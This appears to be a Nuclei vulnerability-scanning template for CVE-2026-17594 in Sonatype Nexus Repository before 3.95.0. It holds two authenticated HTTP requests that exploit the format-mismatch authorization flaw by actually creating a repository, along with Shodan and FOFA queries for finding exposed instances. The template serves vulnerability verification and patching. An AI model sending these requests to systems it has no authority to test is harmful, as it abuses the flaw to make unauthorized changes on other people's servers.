Sonatype Nexus Repository < 3.95.0 - Privilege Escalation via Repository Format Mismatch

id: CVE-2026-17594

info:
  name: Sonatype Nexus Repository < 3.95.0 - Privilege Escalation via Repository Format Mismatch
  author: 1dayexploit
  severity: high
  description: |
    Nexus Repository 3 CE/Pro 3.0.0 through 3.94.x contains an incorrect authorization vulnerability caused by inconsistent authorization checks in the repository-creation UI, letting delegated repository-admin users create unauthorized repository formats, exploit requires delegated repository-admin privilege.
  impact: |
    Delegated repository-admin users can create unauthorized repository formats, potentially leading to privilege abuse or unauthorized repository creation.
  remediation: |
    Upgrade to version 3.95.0 or later.
  reference:
    - https://github.com/sonatype/nexus-public
    - https://help.sonatype.com/en/sonatype-nexus-repository-3-95-0-release-notes.html
    - https://nvd.nist.gov/vuln/detail/CVE-2026-17594
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N
    cvss-score: 8.2
    cve-id: CVE-2026-17594
    cwe-id: CWE-863
    epss-score: 0.00742
    epss-percentile: 0.53039
  metadata:
    verified: true
    max-request: 2
    vendor: sonatype
    product: nexus_repository
    shodan-query: http.title:"Sonatype Nexus Repository"
    fofa-query: title="Sonatype Nexus Repository"
  tags: cve,cve2026,nexus,sonatype,pri-esc,authenticated,intrusive

variables:
  repo_name: "{{rand_text_alpha(8)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /service/extdirect HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}
        Content-Type: application/json

        {"action":"coreui_Repository","method":"create","type":"rpc","tid":1,"data":[{"name":"{{repo_name}}-ctl","format":"raw","recipe":"raw-hosted","online":true,"routingRuleId":"","attributes":{"storage":{"blobStoreName":"default","strictContentTypeValidation":true,"writePolicy":"ALLOW"},"cleanup":{"policyName":[]},"component":{"proprietaryComponents":false},"raw":{"contentDisposition":"ATTACHMENT"}}}]}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"success\":false"
          - "does not have permission"
        condition: and
        internal: true

      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        POST /service/extdirect HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}
        Content-Type: application/json

        {"action":"coreui_Repository","method":"create","type":"rpc","tid":2,"data":[{"name":"{{repo_name}}","format":"maven2","recipe":"raw-hosted","online":true,"routingRuleId":"","attributes":{"storage":{"blobStoreName":"default","strictContentTypeValidation":true,"writePolicy":"ALLOW"},"cleanup":{"policyName":[]},"component":{"proprietaryComponents":false},"raw":{"contentDisposition":"ATTACHMENT"}}}]}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"success\":true"
          - "\"format\":\"raw\""
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220019e741e73fa88b12310299ff76a2e4737ccad853babdede847ca4a64572d67d022100ba4fcc29e56ada20340244174f2f50fed0c27a2239f968688d164cf820a9bfcd:922c64590222798bb761d5b6d8e72950